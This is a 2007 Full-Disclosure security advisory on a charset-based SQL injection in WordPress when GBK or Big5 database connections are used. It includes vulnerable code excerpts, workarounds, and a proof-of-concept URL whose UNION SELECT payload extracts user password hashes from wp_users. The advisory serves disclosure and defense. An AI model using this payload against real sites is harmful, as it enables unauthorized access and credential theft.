WordPress Charset SQL injection vulnerability

["Abel Cheung" <abelcheung () gmail com>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=== WordPress Charset SQL Injection Vulnerability ===

Release date: 2007-12-10
Last modified: 2007-12-10
Source: Abel Cheung
Affected version: WordPress escape($gpc);
}


  Finally, escape() method belongs to wp-includes/wp-db.php:

function escape($string) {
  return addslashes( $string ); // Disable rest for now, causing problems
  ......
}


3. Proof of concept

  a. After WordPress installation, modify wp-config.php to make sure
     it uses certain character set for database connection (Big5 can
also be used):
     define('DB_CHARSET', 'GBK');

  b. 
http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23


4. Workaround

  Note: This vulnerability only exists for database queries performed
  using certain character sets. For databases created in most other
  character sets no remedy is needed.

  a. It is recommended to convert WordPress database to use character sets not
     vulnerable to such SQL exploit. One such charset is UTF-8, which does not
     use backslash ('\') as part of character and it supports various languages.
  b. Alternatively, edit WordPress theme to remove search capability.


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: http://firegpg.tuxfamily.org

iD8DBQFHXVXGQVLh8cZxhv8RAgjgAKDwvrrO6hJbnV0/VFah5W+i8grYcwCgzyCT
5RKJG+zo/mktmRU3v1IfmXE=
=2okr
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/